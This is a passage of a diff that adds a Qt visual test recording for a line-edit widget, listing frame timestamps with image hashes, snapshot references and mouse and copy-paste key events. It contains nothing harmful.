+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 128
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 144
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 160
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 176
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 192
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 208
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 224
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 240
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 256
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 272
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 288
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 304
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 320
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 336
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 352
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 368
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 384
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 400
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 416
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 432
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 448
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 464
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 480
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 496
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 512
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 528
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 544
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 560
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 576
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 592
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 608
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 624
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 640
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 656
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 672
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 688
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 704
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 720
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 736
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 752
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 768
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 784
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 800
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 816
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 832
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 848
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 864
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 880
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 896
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 912
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 928
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 85; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 944
+ hash: "227431895322480615fb61a635305230"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 85; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 960
+ hash: "227431895322480615fb61a635305230"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 85; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 976
+ image: "usingLineEdit.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1008
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1024
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1040
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1056
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 85; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1088
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1104
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1120
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1136
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1152
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1168
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1184
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1200
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1216
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1232
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1248
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1264
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1280
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1296
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1312
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1328
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1344
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1360
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1376
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1392
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1408
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1424
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1440
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1456
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1472
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1488
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1504
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1520
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1536
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1552
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1568
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1584
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1600
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1616
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1632
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1648
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1664
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1680
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1696
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1712
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1728
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1744
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1760
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1776
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1792
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1808
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1824
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1840
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1856
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1872
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1888
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1904
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1920
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1936
+ image: "usingLineEdit.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1968
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 1984
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 67108864
+ text: "03"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2000
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2016
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2032
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2048
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2064
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2080
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2096
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2112
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2128
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2144
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2160
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2176
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2192
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2208
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2224
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2240
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2256
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2272
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2288
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2304
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2320
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2336
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2352
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2368
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2384
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2400
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2416
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2432
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2448
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2464
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Frame {
+ msec: 2480
+ hash: "b888cf6d6e002e28690cff49726eea70"
+ }
+ Key {
+ type: 6
+ key: 16777233
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2496
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2512
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2528
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2544
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2560
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2576
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Key {
+ type: 7
+ key: 16777233
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2592
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2608
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2624
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2640
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2656
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2672
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2688
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2704
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2720
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2736
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2752
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2768
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2784
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2800
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2816
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2832
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2848
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2864
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2880
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2896
+ image: "usingLineEdit.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2928
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2944
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2960
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2976
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 2992
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3008
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3024
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3040
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3056
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3072
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3088
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3104
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3120
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3136
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3152
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3168
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3184
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3200
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Frame {
+ msec: 3216
+ hash: "62afc4e3874da1bcd7e86860bbf6db20"
+ }
+ Key {
+ type: 6
+ key: 86
+ modifiers: 67108864
+ text: "16"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3232
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3248
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3264
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3280
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3296
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3312
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3328
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Key {
+ type: 7
+ key: 86
+ modifiers: 67108864
+ text: "16"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3344
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3360
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3376
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3392
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3408
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3424
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3440
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3456
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3472
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3488
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3504
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3520
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3536
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Frame {
+ msec: 3552
+ hash: "dc7187f95e9f178cd5d5a0c4e0d637c3"
+ }
+ Key {
+ type: 6
+ key: 86
+ modifiers: 67108864
+ text: "16"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3568
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3584
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3600
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3616
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3632
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3648
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3664
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3680
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Key {
+ type: 7
+ key: 86
+ modifiers: 67108864
+ text: "16"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3696
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3712
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3728
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3744
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3760
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3776
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3792
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3808
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3824
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3840
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3856
+ image: "usingLineEdit.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3888
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3904
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3920
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3936
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3952
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3968
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 3984
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4000
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4016
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4032
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4048
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4064
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4080
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4096
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4112
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4128
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4144
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4160
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4176
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4192
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4208
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4224
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4240
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4256
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4272
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4288
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4304
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4320
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4336
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4352
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4368
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4384
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4400
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4416
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4432
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4448
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4464
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4480
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4496
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4512
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4528
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4544
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4560
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4576
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4592
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4608
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4624
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4640
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4656
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4672
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4688
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Frame {
+ msec: 4704
+ hash: "942d2dde9d40eb0864831831b9056525"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 69; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4720
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4736
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4752
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4768
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
